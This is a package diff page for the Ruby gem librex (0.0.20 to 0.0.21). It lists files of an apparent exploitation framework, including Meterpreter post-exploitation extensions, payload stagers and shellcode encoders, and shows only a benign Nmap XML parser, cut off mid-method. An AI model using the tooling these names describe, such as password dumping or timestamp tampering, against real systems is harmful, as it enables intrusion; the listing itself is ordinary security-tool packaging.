librex 0.0.20 → 0.0.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/Rakefile +1 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +104 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +311 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +258 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +114 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +9 -0
- data/lib/rex/exploitation/cmdstager/base.rb +175 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
- data/lib/rex/exploitation/egghunter.rb +277 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +897 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/omelet.rb +320 -0
- data/lib/rex/exploitation/omelet.rb.ut.rb +13 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +112 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/ring_buffer.rb +364 -0
- data/lib/rex/io/stream.rb +319 -0
- data/lib/rex/io/stream_abstraction.rb +197 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +187 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +77 -0
- data/lib/rex/mime/message.rb +144 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +205 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +231 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/docs/dependencies.txt +8 -0
- data/lib/rex/ole/docs/references.txt +1 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/propset.rb +144 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/ip360_aspl_xml.rb +102 -0
- data/lib/rex/parser/ip360_xml.rb +97 -0
- data/lib/rex/parser/nessus_xml.rb +118 -0
- data/lib/rex/parser/netsparker_xml.rb +94 -0
- data/lib/rex/parser/nexpose_xml.rb +136 -0
- data/lib/rex/parser/nmap_xml.rb +137 -0
- data/lib/rex/parser/retina_xml.rb +109 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +194 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +212 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1680 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +477 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +445 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +364 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +15 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +111 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +101 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +26 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +282 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +266 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +208 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +6 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +31 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +47 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +36 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +1818 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +96 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3848 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +26 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +153 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3169 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +599 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +318 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +42 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +148 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +127 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +309 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +204 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +51 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +630 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +149 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +370 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +211 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +63 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +688 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +431 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +137 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +730 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +231 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +442 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +298 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +486 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +157 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +13 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +361 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +187 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/dhcp.rb +7 -0
- data/lib/rex/proto/dhcp/constants.rb +33 -0
- data/lib/rex/proto/dhcp/server.rb +292 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +821 -0
- data/lib/rex/proto/http/client.rb.ut.rb +95 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +60 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +407 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +90 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +369 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/ntlm.rb +7 -0
- data/lib/rex/proto/ntlm.rb.ut.rb +177 -0
- data/lib/rex/proto/ntlm/base.rb +326 -0
- data/lib/rex/proto/ntlm/constants.rb +74 -0
- data/lib/rex/proto/ntlm/crypt.rb +415 -0
- data/lib/rex/proto/ntlm/exceptions.rb +16 -0
- data/lib/rex/proto/ntlm/message.rb +536 -0
- data/lib/rex/proto/ntlm/utils.rb +764 -0
- data/lib/rex/proto/proxy/socks4a.rb +440 -0
- data/lib/rex/proto/rfb.rb +19 -0
- data/lib/rex/proto/rfb.rb.ut.rb +37 -0
- data/lib/rex/proto/rfb/cipher.rb +84 -0
- data/lib/rex/proto/rfb/client.rb +207 -0
- data/lib/rex/proto/rfb/constants.rb +52 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1952 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1047 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +36 -0
- data/lib/rex/proto/smb/evasions.rb +66 -0
- data/lib/rex/proto/smb/exceptions.rb +858 -0
- data/lib/rex/proto/smb/simpleclient.rb +306 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +103 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/proto/tftp.rb +12 -0
- data/lib/rex/proto/tftp/constants.rb +39 -0
- data/lib/rex/proto/tftp/server.rb +497 -0
- data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +15 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +684 -0
- data/lib/rex/socket.rb.ut.rb +107 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +412 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +130 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +346 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +61 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +278 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +66 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +164 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1163 -0
- data/lib/rex/text.rb.ut.rb +190 -0
- data/lib/rex/thread_factory.rb +42 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +298 -0
- data/lib/rex/ui/output.rb +78 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +467 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +57 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +61 -0
- data/lib/rex/ui/text/output/file.rb +43 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +328 -0
- data/lib/rex/ui/text/table.rb +279 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +184 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +104 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +434 -1
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
|
|
2
|
+
require 'rexml/document'
|
|
3
|
+
|
|
4
|
+
module Rex
|
|
5
|
+
module Parser
|
|
6
|
+
|
|
7
|
+
#
|
|
8
|
+
# Stream parser for nmap -oX xml output
|
|
9
|
+
#
|
|
10
|
+
# Yields a hash representing each host found in the xml stream. Each host
|
|
11
|
+
# will look something like the following:
|
|
12
|
+
# {
|
|
13
|
+
# "status" => "up",
|
|
14
|
+
# "addrs" => { "ipv4" => "192.168.0.1", "mac" => "00:0d:87:a1:df:72" },
|
|
15
|
+
# "ports" => [
|
|
16
|
+
# { "portid" => "22", "state" => "closed", ... },
|
|
17
|
+
# { "portid" => "80", "state" => "open", ... },
|
|
18
|
+
# ...
|
|
19
|
+
# ]
|
|
20
|
+
# }
|
|
21
|
+
#
|
|
22
|
+
# Usage:
|
|
23
|
+
# parser = NmapXMLStreamParser.new { |host|
|
|
24
|
+
# # do stuff with the host
|
|
25
|
+
# }
|
|
26
|
+
# REXML::Document.parse_stream(File.new(nmap_xml), parser)
|
|
27
|
+
# -- or --
|
|
28
|
+
# parser = NmapXMLStreamParser.new
|
|
29
|
+
# parser.on_found_host = Proc.new { |host|
|
|
30
|
+
# # do stuff with the host
|
|
31
|
+
# }
|
|
32
|
+
# REXML::Document.parse_stream(File.new(nmap_xml), parser)
|
|
33
|
+
#
|
|
34
|
+
# This parser does not maintain state as well as a tree parser, so malformed
|
|
35
|
+
# xml will trip it up. Nmap shouldn't ever output malformed xml, so it's not
|
|
36
|
+
# a big deal.
|
|
37
|
+
#
|
|
38
|
+
class NmapXMLStreamParser
|
|
39
|
+
|
|
40
|
+
#
|
|
41
|
+
# Callback for processing each found host
|
|
42
|
+
#
|
|
43
|
+
attr_accessor :on_found_host
|
|
44
|
+
|
|
45
|
+
#
|
|
46
|
+
# Create a new stream parser for NMAP XML output
|
|
47
|
+
#
|
|
48
|
+
# If given a block, it will be stored in +on_found_host+, otherwise you
|
|
49
|
+
# need to set it explicitly, e.g.:
|
|
50
|
+
# parser = NmapXMLStreamParser.new
|
|
51
|
+
# parser.on_found_host = Proc.new { |host|
|
|
52
|
+
# # do stuff with the host
|
|
53
|
+
# }
|
|
54
|
+
# REXML::Document.parse_stream(File.new(nmap_xml), parser)
|
|
55
|
+
#
|
|
56
|
+
def initialize(&block)
|
|
57
|
+
reset_state
|
|
58
|
+
on_found_host = block if block
|
|
59
|
+
end
|
|
60
|
+
|
|
61
|
+
def reset_state
|
|
62
|
+
@host = { "status" => nil, "addrs" => {}, "ports" => [] }
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
def tag_start(name, attributes)
|
|
66
|
+
case name
|
|
67
|
+
when "address"
|
|
68
|
+
@host["addrs"][attributes["addrtype"]] = attributes["addr"]
|
|
69
|
+
if (attributes["addrtype"] =~ /ipv[46]/)
|
|
70
|
+
@host["addr"] = attributes["addr"]
|
|
71
|
+
end
|
|
72
|
+
when "osclass"
|
|
73
|
+
@host["os_vendor"] = attributes["vendor"]
|
|
74
|
+
@host["os_family"] = attributes["osfamily"]
|
|
75
|
+
@host["os_version"] = attributes["osgen"]
|
|
76
|
+
@host["os_accuracy"] = attributes["accuracy"]
|
|
77
|
+
when "osmatch"
|
|
78
|
+
if(attributes["accuracy"].to_i == 100)
|
|
79
|
+
@host["os_match"] = attributes["name"]
|
|
80
|
+
end
|
|
81
|
+
when "uptime"
|
|
82
|
+
@host["last_boot"] = attributes["lastboot"]
|
|
83
|
+
when "hostname"
|
|
84
|
+
if(attributes["type"] == "PTR")
|
|
85
|
+
@host["reverse_dns"] = attributes["name"]
|
|
86
|
+
end
|
|
87
|
+
when "status"
|
|
88
|
+
# <status> refers to the liveness of the host; values are "up" or "down"
|
|
89
|
+
@host["status"] = attributes["state"]
|
|
90
|
+
@host["status_reason"] = attributes["reason"]
|
|
91
|
+
